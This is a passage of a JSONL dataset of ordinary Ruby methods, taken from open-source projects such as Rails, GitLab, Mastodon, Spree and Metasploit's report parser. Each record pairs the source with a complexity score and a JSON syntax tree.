if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"downcase\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"target_header\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"aef89dc1-5631-4546-a198-3454333ca41c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/foundstone_document.rb","start_line":109,"raw_source":"def collect_cve\n      return unless in_tag(\"VulnsFound\")\n      return unless in_tag(\"HostData\")\n      return unless in_tag(\"Host\")\n      cve = @text.to_s\n      @state[:vuln][:cves] ||= []\n      @state[:vuln][:cves] << cve unless cve == \"CVE-MAP-NOMATCH\"\n      @text = nil\n    end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_cve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"VulnsFound\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"HostData\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"Host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cve\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"to_s\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vuln\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"cves\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cve\"]},\"==\",{\"type\":\"str\",\"children\":[\"CVE-MAP-NOMATCH\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vuln\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"cves\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"cve\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@text\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"ecaf9bf2-60f7-442e-bb49-88aacd1f636a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/report_service.rb","start_line":60,"raw_source":"def forward_to_replied_to!\n    # Send report to servers to which the account was replying to, so they also have a chance to act\n    inbox_urls = Account.remote.where(domain: forward_to_domains).where(id: Status.where(id: reported_status_ids).where.not(in_reply_to_account_id: nil).select(:in_reply_to_account_id)).inboxes - [@target_account.inbox_url, @target_account.shared_inbox_url]\n\n    inbox_urls.each do |inbox_url|\n      ActivityPub::DeliveryWorker.perform_async(payload, some_local_account.id, inbox_url)\n    end\n  end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"forward_to_replied_to!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inbox_urls\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"remote\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"forward_to_domains\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"reported_status_ids\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_reply_to_account_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"in_reply_to_account_id\"]}]}]}]}]},\"inboxes\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_account\"]},\"inbox_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_account\"]},\"shared_inbox_url\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox_urls\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inbox_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"DeliveryWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"some_local_account\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"inbox_url\"]}]}]}]}]}","id":"4e5f1fe5-ca67-4f3b-a54d-dcebd9227460"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web.rb","start_line":95,"raw_source":"def use(*args, &block)\n        middlewares << [args, block]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"use\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middlewares\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"7bb5c8d2-33d1-429d-b1b7-2c0b0d90a39f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":1182,"raw_source":"def job_variables_attributes\n      strong_memoize(:job_variables_attributes) do\n        job_variables.internal_source.map do |variable|\n          variable.attributes.except('id', 'job_id', 'encrypted_value', 'encrypted_value_iv').tap do |attrs|\n            attrs[:value] = variable.value\n          end\n        end\n      end\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"job_variables_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"job_variables_attributes\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_variables\"]},\"internal_source\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"attributes\"]},\"except\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"job_id\"]},{\"type\":\"str\",\"children\":[\"encrypted_value\"]},{\"type\":\"str\",\"children\":[\"encrypted_value_iv\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"value\"]}]}]}]}]}]}","id":"cd7703da-c7ea-453b-a29a-29714c79a1b3"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/source/source_code.rb","start_line":45,"raw_source":"def self.from(source, origin: nil)\n        case source\n        when self then source\n        else new(source: source, origin: origin)\n        end\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"kwoptarg\",\"children\":[\"origin\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin\"]},{\"type\":\"lvar\",\"children\":[\"origin\"]}]}]}]}]}]}","id":"f526c801-d5dd-41bb-a260-9733eed94bb6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/configuration/middleware_stack_proxy_test.rb","start_line":69,"raw_source":"def assert_playback(msg_names, args)\n          self.assertions += 1\n          mock = Minitest::Mock.new\n          Array(msg_names).each do |msg_name|\n            mock.expect msg_name, nil, [args]\n          end\n          @stack.merge_into(mock)\n          mock.verify\n        end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_playback\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg_names\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"assertions\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"mock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Mock\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"msg_names\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mock\"]},\"expect\",{\"type\":\"lvar\",\"children\":[\"msg_name\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"merge_into\",{\"type\":\"lvar\",\"children\":[\"mock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mock\"]},\"verify\"]}]}]}","id":"79374cf6-da05-4069-bf53-4fb104b6e49f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipment.rb","start_line":264,"raw_source":"def manifest\n      # Grouping by the ID means that we don't have to call out to the association accessor\n      # This makes the grouping by faster because it results in less SQL cache hits.\n      inventory_units.group_by(&:variant_id).map do |_variant_id, units|\n        units.group_by(&:line_item_id).map do |_line_item_id, units|\n          states = {}\n          units.group_by(&:state).each { |state, iu| states[state] = iu.sum(&:quantity) }\n\n          line_item = units.first.line_item\n          variant = units.first.variant\n          ManifestItem.new(line_item, variant, units.sum(&:quantity), states)\n        end\n      end.flatten\n    end","complexity_score":41.4,"ast_json":"{\"type\":\"def\",\"children\":[\"manifest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inventory_units\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant_id\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_variant_id\"]},{\"type\":\"arg\",\"children\":[\"units\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"units\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_item_id\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_line_item_id\"]},{\"type\":\"arg\",\"children\":[\"units\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"states\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"units\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"arg\",\"children\":[\"iu\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"states\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iu\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"quantity\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"line_item\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"units\"]},\"first\"]},\"line_item\"]}]},{\"type\":\"lvasgn\",\"children\":[\"variant\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"units\"]},\"first\"]},\"variant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManifestItem\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"line_item\"]},{\"type\":\"lvar\",\"children\":[\"variant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"units\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"quantity\"]}]}]},{\"type\":\"lvar\",\"children\":[\"states\"]}]}]}]}]},\"flatten\"]}]}","id":"9f8dae3b-4b12-4208-9ff1-a1019a14f0b0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/poll.rb","start_line":63,"raw_source":"def own_votes(account)\n    votes.where(account: account).pluck(:choice)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"own_votes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"votes\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"lvar\",\"children\":[\"account\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"choice\"]}]}]}","id":"86df4ffb-cf38-436e-a72f-518696ce37b1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results.rb","start_line":53,"raw_source":"def sorted_work_packages_matching_the_filters_today\n    sorted_work_packages\n      .merge(filtered_work_packages.merge(filter_merges))\n      .visible\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sorted_work_packages_matching_the_filters_today\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sorted_work_packages\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filtered_work_packages\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"filter_merges\"]}]}]},\"visible\"]}]}","id":"2b531842-c8ad-478a-a195-bb2361da136b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":717,"raw_source":"def test_default_scoping_with_threads\n      2.times do\n        Thread.new {\n          assert_includes DeveloperOrderedBySalary.all.to_sql, \"salary DESC\"\n          DeveloperOrderedBySalary.lease_connection.close\n        }.join\n      end\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_scoping_with_threads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperOrderedBySalary\"]},\"all\"]},\"to_sql\"]},{\"type\":\"str\",\"children\":[\"salary DESC\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperOrderedBySalary\"]},\"lease_connection\"]},\"close\"]}]}]},\"join\"]}]}]}","id":"5d8069ad-1e67-422d-9c5e-8eb944964a06"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/descendant_loader.rb","start_line":51,"raw_source":"def self.instance\n    @instance ||= new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@instance\"]},{\"type\":\"send\",\"children\":[null,\"new\"]}]}]}","id":"7655c88e-5ebc-4bfc-a80f-be456f67b5a7"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/badge_achievement.rb","start_line":52,"raw_source":"def award_credits\n    return if badge.credits_awarded.zero?\n\n    Credit.add_to(user, badge.credits_awarded)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"award_credits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"badge\"]},\"credits_awarded\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Credit\"]},\"add_to\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"badge\"]},\"credits_awarded\"]}]}]}]}","id":"d58e7067-ee01-4569-925b-5173bc3cc136"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/ci/cancel_redundant_pipelines_worker.rb","start_line":13,"raw_source":"def perform(pipeline_id, options = {})\n      relation = Ci::Pipeline.all\n      relation = relation.in_partition(options['partition_id']) if options['partition_id'].present?\n\n      relation.find_by_id(pipeline_id).try do |pipeline|\n        Ci::PipelineCreation::CancelRedundantPipelinesService.new(pipeline).execute\n      end\n    end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline_id\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]},\"all\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"partition_id\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"in_partition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"partition_id\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"pipeline_id\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelineCreation\"]},\"CancelRedundantPipelinesService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},\"execute\"]}]}]}]}","id":"1e26c39a-7620-4226-bbb7-dcaf6fa30e2b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/config.rb","start_line":154,"raw_source":"def redis_info\n      redis do |conn|\n        conn.call(\"INFO\") { |i| i.lines(chomp: true).map { |l| l.split(\":\", 2) }.select { |l| l.size == 2 }.to_h }\n      rescue RedisClientAdapter::CommandError => ex\n        # 2850 return fake version when INFO command has (probably) been renamed\n        raise unless /unknown command/.match?(ex.message)\n        {\n          \"redis_version\" => \"9.9.9\",\n          \"uptime_in_days\" => \"9999\",\n          \"connected_clients\" => \"9999\",\n          \"used_memory_human\" => \"9P\",\n          \"used_memory_peak_human\" => \"9P\"\n        }.freeze\n      end\n    end","complexity_score":28.75,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"call\",{\"type\":\"str\",\"children\":[\"INFO\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"lines\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chomp\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]}]},\"to_h\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RedisClientAdapter\"]},\"CommandError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"unknown command\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"redis_version\"]},{\"type\":\"str\",\"children\":[\"9.9.9\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uptime_in_days\"]},{\"type\":\"str\",\"children\":[\"9999\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"connected_clients\"]},{\"type\":\"str\",\"children\":[\"9999\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"used_memory_human\"]},{\"type\":\"str\",\"children\":[\"9P\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"used_memory_peak_human\"]},{\"type\":\"str\",\"children\":[\"9P\"]}]}]},\"freeze\"]}]}]},null]}]}]}","id":"4911db80-1fb4-4c23-8de5-af5a1fdad637"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/cart_controller.rb","start_line":183,"raw_source":"def empty_cart_service\n            Spree::Api::Dependencies.storefront_cart_empty_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_cart_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_cart_empty_service\"]},\"constantize\"]}]}","id":"457b3220-0361-4f93-874f-9603e00d2af1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/merge_requests.rb","start_line":21,"raw_source":"def new_mention_in_merge_request_email(recipient_id, merge_request_id, updated_by_user_id, reason = nil)\n      setup_merge_request_mail(merge_request_id, recipient_id, present: true)\n\n      mail_answer_thread(@merge_request, merge_request_thread_options(updated_by_user_id, reason))\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_mention_in_merge_request_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"merge_request_id\"]},{\"type\":\"arg\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_merge_request_mail\",{\"type\":\"lvar\",\"children\":[\"merge_request_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"present\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mail_answer_thread\",{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_thread_options\",{\"type\":\"lvar\",\"children\":[\"updated_by_user_id\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}]}","id":"a26a12b4-6461-4de0-91dc-2343fcaecb4a"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/progress_edit_field.rb","start_line":101,"raw_source":"def select_status(value)\n    value = value.name if value.is_a?(Status)\n\n    page.select(value, from: \"% Complete\")\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"select_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Status\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"name\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"select\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"% Complete\"]}]}]}]}]}]}","id":"e37c9c3f-e512-4f04-afc3-52555b6de660"}
